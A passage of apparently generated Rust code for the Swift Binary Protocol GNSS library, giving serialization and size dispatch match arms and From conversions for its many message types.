SBP::MsgSpecanDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSpecan(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgMeasurementState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSetTime(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAlmanac(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAlmanacGPSDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAlmanacGloDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAlmanacGPS(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAlmanacGlo(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGloBiases(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisDepD(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGPSDepE(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisSbasDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGloDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisSbasDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGloDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGPSDepF(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGloDepC(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGloDepD(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisBds(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGPS(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGlo(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisSbas(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGal(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisQzss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgIono(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSvConfigurationGPSDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGroupDelayDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGroupDelayDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGroupDelay(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisGalDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGnssCapb(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSvAzEl(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsWrite(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsSave(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsReadByIndexReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioReadResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsReadReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsReadResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsReadByIndexDone(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsReadByIndexResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioReadReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioReadDirReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioReadDirResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioWriteResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioRemove(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioWriteReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsRegister(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsWriteResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBootloaderHandshakeDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBootloaderJumpToApp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgResetDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBootloaderHandshakeReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBootloaderHandshakeResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgDeviceMonitor(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgReset(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCommandReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCommandResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNetworkStateReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNetworkStateResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCommandOutput(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNetworkBandwidthUsage(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCellModemStatus(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFrontEndGain(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCwResults(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCwStart(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNapDeviceDnaResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNapDeviceDnaReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFlashDone(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFlashReadResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFlashErase(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStmFlashLockSector(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStmFlashUnlockSector(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStmUniqueIdResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFlashProgram(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFlashReadReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStmUniqueIdReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgM25FlashWriteStatus(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGPSTimeDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgExtEvent(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGPSTime(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgUtcTime(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGPSTimeGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgUtcTimeGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSettingsRegisterResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosECEFDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLHDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineECEFDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineNEDDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelECEFDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelNEDDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgDopsDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineHeadingDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgDops(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosECEF(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLH(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineECEF(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineNED(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelECEF(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelNED(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBaselineHeading(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAgeCorrections(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLHCov(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelNEDCov(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelBody(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosECEFCov(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelECEFCov(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgProtectionLevelDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgProtectionLevel(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLHAcc(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgOrientQuat(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgOrientEuler(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAngularRate(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosECEFGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLHGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelECEFGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelNEDGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosLLHCovGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelNEDCovGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPosECEFCovGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgVelECEFCovGnss(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgNdbEvent(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLog(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFwd(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrOrbitClockDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrOrbitClock(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrCodeBiases(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrPhaseBiases(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrStecCorrectionDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrGridDefinitionDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrTileDefinition(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrStecCorrection(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrGriddedCorrection(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSsrSatelliteApc(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgOsr(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgUserData(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgImuRaw(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgImuAux(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgMagRaw(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgOdometry(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgWheeltick(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioConfigReq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgFileioConfigResp(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSbasRaw(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxCpuStateDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxMemStateDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxSysStateDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxProcessSocketCounts(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxProcessSocketQueues(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxSocketUsage(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxProcessFdCount(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxProcessFdSummary(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxCpuState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxMemState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgLinuxSysState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStartup(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgDgnssStatus(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgInsStatus(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCsacTelemetry(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgCsacTelemetryLabels(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgInsUpdates(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGnssTimeOffset(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgPpsTime(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgGroupMeta(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSolnMeta(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgSolnMetaDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgStatusReport(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgHeartbeat(msg) => msg.append_to_sbp_buffer(buf), SBP::Unknown(msg) => msg.append_to_sbp_buffer(buf), } } fn sbp_size(&self) -> usize { match self { SBP::MsgPrintDep(msg) => msg.sbp_size(), SBP::MsgTrackingStateDetailedDep(msg) => msg.sbp_size(), SBP::MsgTrackingStateDepB(msg) => msg.sbp_size(), SBP::MsgAcqResultDepB(msg) => msg.sbp_size(), SBP::MsgAcqResultDepA(msg) => msg.sbp_size(), SBP::MsgTrackingStateDepA(msg) => msg.sbp_size(), SBP::MsgThreadState(msg) => msg.sbp_size(), SBP::MsgUartStateDepa(msg) => msg.sbp_size(), SBP::MsgIarState(msg) => msg.sbp_size(), SBP::MsgEphemerisDepA(msg) => msg.sbp_size(), SBP::MsgMaskSatelliteDep(msg) => msg.sbp_size(), SBP::MsgTrackingIqDepA(msg) => msg.sbp_size(), SBP::MsgUartState(msg) => msg.sbp_size(), SBP::MsgAcqSvProfileDep(msg) => msg.sbp_size(), SBP::MsgAcqResultDepC(msg) => msg.sbp_size(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.sbp_size(), SBP::MsgResetFilters(msg) => msg.sbp_size(), SBP::MsgInitBaseDep(msg) => msg.sbp_size(), SBP::MsgMaskSatellite(msg) => msg.sbp_size(), SBP::MsgTrackingIqDepB(msg) => msg.sbp_size(), SBP::MsgTrackingIq(msg) => msg.sbp_size(), SBP::MsgAcqSvProfile(msg) => msg.sbp_size(), SBP::MsgAcqResult(msg) => msg.sbp_size(), SBP::MsgTrackingState(msg) => msg.sbp_size(), SBP::MsgObsDepB(msg) => msg.sbp_size(), SBP::MsgBasePosLLH(msg) => msg.sbp_size(), SBP::MsgObsDepA(msg) => msg.sbp_size(), SBP::MsgEphemerisDepB(msg) => msg.sbp_size(), SBP::MsgEphemerisDepC(msg) => msg.sbp_size(), SBP::MsgBasePosECEF(msg) => msg.sbp_size(), SBP::MsgObsDepC(msg) => msg.sbp_size(), SBP::MsgObs(msg) => msg.sbp_size(), SBP::MsgSpecanDep(msg) => msg.sbp_size(), SBP::MsgSpecan(msg) => msg.sbp_size(), SBP::MsgMeasurementState(msg) => msg.sbp_size(), SBP::MsgSetTime(msg) => msg.sbp_size(), SBP::MsgAlmanac(msg) => msg.sbp_size(), SBP::MsgAlmanacGPSDep(msg) => msg.sbp_size(), SBP::MsgAlmanacGloDep(msg) => msg.sbp_size(), SBP::MsgAlmanacGPS(msg) => msg.sbp_size(), SBP::MsgAlmanacGlo(msg) => msg.sbp_size(), SBP::MsgGloBiases(msg) => msg.sbp_size(), SBP::MsgEphemerisDepD(msg) => msg.sbp_size(), SBP::MsgEphemerisGPSDepE(msg) => msg.sbp_size(), SBP::MsgEphemerisSbasDepA(msg) => msg.sbp_size(), SBP::MsgEphemerisGloDepA(msg) => msg.sbp_size(), SBP::MsgEphemerisSbasDepB(msg) => msg.sbp_size(), SBP::MsgEphemerisGloDepB(msg) => msg.sbp_size(), SBP::MsgEphemerisGPSDepF(msg) => msg.sbp_size(), SBP::MsgEphemerisGloDepC(msg) => msg.sbp_size(), SBP::MsgEphemerisGloDepD(msg) => msg.sbp_size(), SBP::MsgEphemerisBds(msg) => msg.sbp_size(), SBP::MsgEphemerisGPS(msg) => msg.sbp_size(), SBP::MsgEphemerisGlo(msg) => msg.sbp_size(), SBP::MsgEphemerisSbas(msg) => msg.sbp_size(), SBP::MsgEphemerisGal(msg) => msg.sbp_size(), SBP::MsgEphemerisQzss(msg) => msg.sbp_size(), SBP::MsgIono(msg) => msg.sbp_size(), SBP::MsgSvConfigurationGPSDep(msg) => msg.sbp_size(), SBP::MsgGroupDelayDepA(msg) => msg.sbp_size(), SBP::MsgGroupDelayDepB(msg) => msg.sbp_size(), SBP::MsgGroupDelay(msg) => msg.sbp_size(), SBP::MsgEphemerisGalDepA(msg) => msg.sbp_size(), SBP::MsgGnssCapb(msg) => msg.sbp_size(), SBP::MsgSvAzEl(msg) => msg.sbp_size(), SBP::MsgSettingsWrite(msg) => msg.sbp_size(), SBP::MsgSettingsSave(msg) => msg.sbp_size(), SBP::MsgSettingsReadByIndexReq(msg) => msg.sbp_size(), SBP::MsgFileioReadResp(msg) => msg.sbp_size(), SBP::MsgSettingsReadReq(msg) => msg.sbp_size(), SBP::MsgSettingsReadResp(msg) => msg.sbp_size(), SBP::MsgSettingsReadByIndexDone(msg) => msg.sbp_size(), SBP::MsgSettingsReadByIndexResp(msg) => msg.sbp_size(), SBP::MsgFileioReadReq(msg) => msg.sbp_size(), SBP::MsgFileioReadDirReq(msg) => msg.sbp_size(), SBP::MsgFileioReadDirResp(msg) => msg.sbp_size(), SBP::MsgFileioWriteResp(msg) => msg.sbp_size(), SBP::MsgFileioRemove(msg) => msg.sbp_size(), SBP::MsgFileioWriteReq(msg) => msg.sbp_size(), SBP::MsgSettingsRegister(msg) => msg.sbp_size(), SBP::MsgSettingsWriteResp(msg) => msg.sbp_size(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.sbp_size(), SBP::MsgBootloaderJumpToApp(msg) => msg.sbp_size(), SBP::MsgResetDep(msg) => msg.sbp_size(), SBP::MsgBootloaderHandshakeReq(msg) => msg.sbp_size(), SBP::MsgBootloaderHandshakeResp(msg) => msg.sbp_size(), SBP::MsgDeviceMonitor(msg) => msg.sbp_size(), SBP::MsgReset(msg) => msg.sbp_size(), SBP::MsgCommandReq(msg) => msg.sbp_size(), SBP::MsgCommandResp(msg) => msg.sbp_size(), SBP::MsgNetworkStateReq(msg) => msg.sbp_size(), SBP::MsgNetworkStateResp(msg) => msg.sbp_size(), SBP::MsgCommandOutput(msg) => msg.sbp_size(), SBP::MsgNetworkBandwidthUsage(msg) => msg.sbp_size(), SBP::MsgCellModemStatus(msg) => msg.sbp_size(), SBP::MsgFrontEndGain(msg) => msg.sbp_size(), SBP::MsgCwResults(msg) => msg.sbp_size(), SBP::MsgCwStart(msg) => msg.sbp_size(), SBP::MsgNapDeviceDnaResp(msg) => msg.sbp_size(), SBP::MsgNapDeviceDnaReq(msg) => msg.sbp_size(), SBP::MsgFlashDone(msg) => msg.sbp_size(), SBP::MsgFlashReadResp(msg) => msg.sbp_size(), SBP::MsgFlashErase(msg) => msg.sbp_size(), SBP::MsgStmFlashLockSector(msg) => msg.sbp_size(), SBP::MsgStmFlashUnlockSector(msg) => msg.sbp_size(), SBP::MsgStmUniqueIdResp(msg) => msg.sbp_size(), SBP::MsgFlashProgram(msg) => msg.sbp_size(), SBP::MsgFlashReadReq(msg) => msg.sbp_size(), SBP::MsgStmUniqueIdReq(msg) => msg.sbp_size(), SBP::MsgM25FlashWriteStatus(msg) => msg.sbp_size(), SBP::MsgGPSTimeDepA(msg) => msg.sbp_size(), SBP::MsgExtEvent(msg) => msg.sbp_size(), SBP::MsgGPSTime(msg) => msg.sbp_size(), SBP::MsgUtcTime(msg) => msg.sbp_size(), SBP::MsgGPSTimeGnss(msg) => msg.sbp_size(), SBP::MsgUtcTimeGnss(msg) => msg.sbp_size(), SBP::MsgSettingsRegisterResp(msg) => msg.sbp_size(), SBP::MsgPosECEFDepA(msg) => msg.sbp_size(), SBP::MsgPosLLHDepA(msg) => msg.sbp_size(), SBP::MsgBaselineECEFDepA(msg) => msg.sbp_size(), SBP::MsgBaselineNEDDepA(msg) => msg.sbp_size(), SBP::MsgVelECEFDepA(msg) => msg.sbp_size(), SBP::MsgVelNEDDepA(msg) => msg.sbp_size(), SBP::MsgDopsDepA(msg) => msg.sbp_size(), SBP::MsgBaselineHeadingDepA(msg) => msg.sbp_size(), SBP::MsgDops(msg) => msg.sbp_size(), SBP::MsgPosECEF(msg) => msg.sbp_size(), SBP::MsgPosLLH(msg) => msg.sbp_size(), SBP::MsgBaselineECEF(msg) => msg.sbp_size(), SBP::MsgBaselineNED(msg) => msg.sbp_size(), SBP::MsgVelECEF(msg) => msg.sbp_size(), SBP::MsgVelNED(msg) => msg.sbp_size(), SBP::MsgBaselineHeading(msg) => msg.sbp_size(), SBP::MsgAgeCorrections(msg) => msg.sbp_size(), SBP::MsgPosLLHCov(msg) => msg.sbp_size(), SBP::MsgVelNEDCov(msg) => msg.sbp_size(), SBP::MsgVelBody(msg) => msg.sbp_size(), SBP::MsgPosECEFCov(msg) => msg.sbp_size(), SBP::MsgVelECEFCov(msg) => msg.sbp_size(), SBP::MsgProtectionLevelDepA(msg) => msg.sbp_size(), SBP::MsgProtectionLevel(msg) => msg.sbp_size(), SBP::MsgPosLLHAcc(msg) => msg.sbp_size(), SBP::MsgOrientQuat(msg) => msg.sbp_size(), SBP::MsgOrientEuler(msg) => msg.sbp_size(), SBP::MsgAngularRate(msg) => msg.sbp_size(), SBP::MsgPosECEFGnss(msg) => msg.sbp_size(), SBP::MsgPosLLHGnss(msg) => msg.sbp_size(), SBP::MsgVelECEFGnss(msg) => msg.sbp_size(), SBP::MsgVelNEDGnss(msg) => msg.sbp_size(), SBP::MsgPosLLHCovGnss(msg) => msg.sbp_size(), SBP::MsgVelNEDCovGnss(msg) => msg.sbp_size(), SBP::MsgPosECEFCovGnss(msg) => msg.sbp_size(), SBP::MsgVelECEFCovGnss(msg) => msg.sbp_size(), SBP::MsgNdbEvent(msg) => msg.sbp_size(), SBP::MsgLog(msg) => msg.sbp_size(), SBP::MsgFwd(msg) => msg.sbp_size(), SBP::MsgSsrOrbitClockDepA(msg) => msg.sbp_size(), SBP::MsgSsrOrbitClock(msg) => msg.sbp_size(), SBP::MsgSsrCodeBiases(msg) => msg.sbp_size(), SBP::MsgSsrPhaseBiases(msg) => msg.sbp_size(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.sbp_size(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.sbp_size(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.sbp_size(), SBP::MsgSsrTileDefinition(msg) => msg.sbp_size(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.sbp_size(), SBP::MsgSsrStecCorrection(msg) => msg.sbp_size(), SBP::MsgSsrGriddedCorrection(msg) => msg.sbp_size(), SBP::MsgSsrSatelliteApc(msg) => msg.sbp_size(), SBP::MsgOsr(msg) => msg.sbp_size(), SBP::MsgUserData(msg) => msg.sbp_size(), SBP::MsgImuRaw(msg) => msg.sbp_size(), SBP::MsgImuAux(msg) => msg.sbp_size(), SBP::MsgMagRaw(msg) => msg.sbp_size(), SBP::MsgOdometry(msg) => msg.sbp_size(), SBP::MsgWheeltick(msg) => msg.sbp_size(), SBP::MsgFileioConfigReq(msg) => msg.sbp_size(), SBP::MsgFileioConfigResp(msg) => msg.sbp_size(), SBP::MsgSbasRaw(msg) => msg.sbp_size(), SBP::MsgLinuxCpuStateDepA(msg) => msg.sbp_size(), SBP::MsgLinuxMemStateDepA(msg) => msg.sbp_size(), SBP::MsgLinuxSysStateDepA(msg) => msg.sbp_size(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.sbp_size(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.sbp_size(), SBP::MsgLinuxSocketUsage(msg) => msg.sbp_size(), SBP::MsgLinuxProcessFdCount(msg) => msg.sbp_size(), SBP::MsgLinuxProcessFdSummary(msg) => msg.sbp_size(), SBP::MsgLinuxCpuState(msg) => msg.sbp_size(), SBP::MsgLinuxMemState(msg) => msg.sbp_size(), SBP::MsgLinuxSysState(msg) => msg.sbp_size(), SBP::MsgStartup(msg) => msg.sbp_size(), SBP::MsgDgnssStatus(msg) => msg.sbp_size(), SBP::MsgInsStatus(msg) => msg.sbp_size(), SBP::MsgCsacTelemetry(msg) => msg.sbp_size(), SBP::MsgCsacTelemetryLabels(msg) => msg.sbp_size(), SBP::MsgInsUpdates(msg) => msg.sbp_size(), SBP::MsgGnssTimeOffset(msg) => msg.sbp_size(), SBP::MsgPpsTime(msg) => msg.sbp_size(), SBP::MsgGroupMeta(msg) => msg.sbp_size(), SBP::MsgSolnMeta(msg) => msg.sbp_size(), SBP::MsgSolnMetaDepA(msg) => msg.sbp_size(), SBP::MsgStatusReport(msg) => msg.sbp_size(), SBP::MsgHeartbeat(msg) => msg.sbp_size(), SBP::Unknown(msg) => msg.sbp_size(), } } } impl From<MsgPrintDep> for SBP { fn from(msg: MsgPrintDep) -> Self { SBP::MsgPrintDep(msg) } } impl From<MsgTrackingStateDetailedDep> for SBP { fn from(msg: MsgTrackingStateDetailedDep) -> Self { SBP::MsgTrackingStateDetailedDep(msg) } } impl From<MsgTrackingStateDepB> for SBP { fn from(msg: MsgTrackingStateDepB) -> Self { SBP::MsgTrackingStateDepB(msg) } } impl From<MsgAcqResultDepB> for SBP { fn from(msg: MsgAcqResultDepB) -> Self { SBP::MsgAcqResultDepB(msg) } } impl From<MsgAcqResultDepA> for SBP { fn from(msg: MsgAcqResultDepA) -> Self { SBP::MsgAcqResultDepA(msg) } } impl From<MsgTrackingStateDepA> for SBP { fn from(msg: MsgTrackingStateDepA) -> Self { SBP::MsgTrackingStateDepA(msg) } } impl From<MsgThreadState> for SBP { fn from(msg: MsgThreadState) -> Self { SBP::MsgThreadState(msg) } } impl From<MsgUartStateDepa> for SBP { fn from(msg: MsgUartStateDepa) -> Self { SBP::MsgUartStateDepa(msg) } } impl From<MsgIarState> for SBP { fn from(msg: MsgIarState) -> Self { SBP::MsgIarState(msg) } } impl From<MsgEphemerisDepA> for SBP { fn from(msg: MsgEphemerisDepA) -> Self { SBP::MsgEphemerisDepA(msg) } } impl From<MsgMaskSatelliteDep> for SBP { fn from(msg: MsgMaskSatelliteDep) -> Self { SBP::MsgMaskSatelliteDep(msg) } } impl From<MsgTrackingIqDepA> for SBP { fn from(msg: MsgTrackingIqDepA) -> Self { SBP::MsgTrackingIqDepA(msg) } } impl From<MsgUartState> for SBP { fn from(msg: MsgUartState) -> Self { SBP::MsgUartState(msg) } } impl From<MsgAcqSvProfileDep> for SBP { fn from(msg: MsgAcqSvProfileDep) -> Self { SBP::MsgAcqSvProfileDep(msg) } } impl From<MsgAcqResultDepC> for SBP { fn from(msg: MsgAcqResultDepC) -> Self { SBP::MsgAcqResultDepC(msg) } } impl From<MsgTrackingStateDetailedDepA> for SBP { fn from(msg: MsgTrackingStateDetailedDepA) -> Self { SBP::MsgTrackingStateDetailedDepA(msg) } } impl From<MsgResetFilters> for SBP { fn from(msg: MsgResetFilters) -> Self { SBP::MsgResetFilters(msg) } } impl From<MsgInitBaseDep> for SBP { fn from(msg: MsgInitBaseDep) -> Self { SBP::MsgInitBaseDep(msg) } } impl From<MsgMaskSatellite> for SBP { fn from(msg: MsgMaskSatellite) -> Self { SBP::MsgMaskSatellite(msg) } } impl From<MsgTrackingIqDepB> for SBP { fn from(msg: MsgTrackingIqDepB) -> Self { SBP::MsgTrackingIqDepB(msg) } } impl From<MsgTrackingIq> for SBP { fn from(msg: MsgTrackingIq) -> Self { SBP::MsgTrackingIq(msg) } } impl From<MsgAcqSvProfile> for SBP { fn from(msg: MsgAcqSvProfile) -> Self { SBP::MsgAcqSvProfile(msg) } } impl From<MsgAcqResult> for SBP { fn from(msg: MsgAcqResult) -> Self { SBP::MsgAcqResult(msg) } } impl From<MsgTrackingState> for SBP { fn from(msg: MsgTrackingState) -> Self { SBP::MsgTrackingState(msg) } } impl From<MsgObsDepB> for SBP { fn from(msg: MsgObsDepB) -> Self { SBP::MsgObsDepB(msg) } } impl From<MsgBasePosLLH> for SBP { fn from(msg: MsgBasePosLLH) -> Self { SBP::MsgBasePosLLH(msg) } } impl From<MsgObsDepA> for SBP { fn from(msg: MsgObsDepA) -> Self { SBP::MsgObsDepA(msg) } } impl From<MsgEphemerisDepB> for SBP { fn from(msg: MsgEphemerisDepB) -> Self { SBP::MsgEphemerisDepB(msg) } } impl From<MsgEphemerisDepC> for SBP { fn from(msg: MsgEphemerisDepC) -> Self { SBP::MsgEphemerisDepC(msg) } } impl From<MsgBasePosECEF> for SBP { fn from(msg: MsgBasePosECEF) -> Self { SBP::MsgBasePosECEF(msg) } } impl From<MsgObsDepC> for SBP { fn from(msg: MsgObsDepC) -> Self { SBP::MsgObsDepC(msg) } } impl From<MsgObs> for SBP { fn from(msg: MsgObs) -> Self { SBP::MsgObs(msg) } } impl From<MsgSpecanDep> for SBP { fn from(msg: MsgSpecanDep) -> Self { SBP::MsgSpecanDep(msg) } } impl From<MsgSpecan> for SBP { fn from(msg: MsgSpecan) -> Self { SBP::MsgSpecan(msg) } } impl From<MsgMeasurementState> for SBP { fn from(msg: MsgMeasurementState) -> Self { SBP::MsgMeasurementState(msg) } } impl From<MsgSetTime> for SBP { fn from(msg: MsgSetTime) -> Self { SBP::MsgSetTime(msg) } } impl From<MsgAlmanac> for SBP { fn from(msg: MsgAlmanac) -> Self { SBP::MsgAlmanac(msg) } } impl From<MsgAlmanacGPSDep> for SBP { fn from(msg: MsgAlmanacGPSDep) -> Self { SBP::MsgAlmanacGPSDep(msg) } } impl From<MsgAlmanacGloDep> for SBP { fn from(msg: MsgAlmanacGloDep) -> Self { SBP::MsgAlmanacGloDep(msg) } } impl 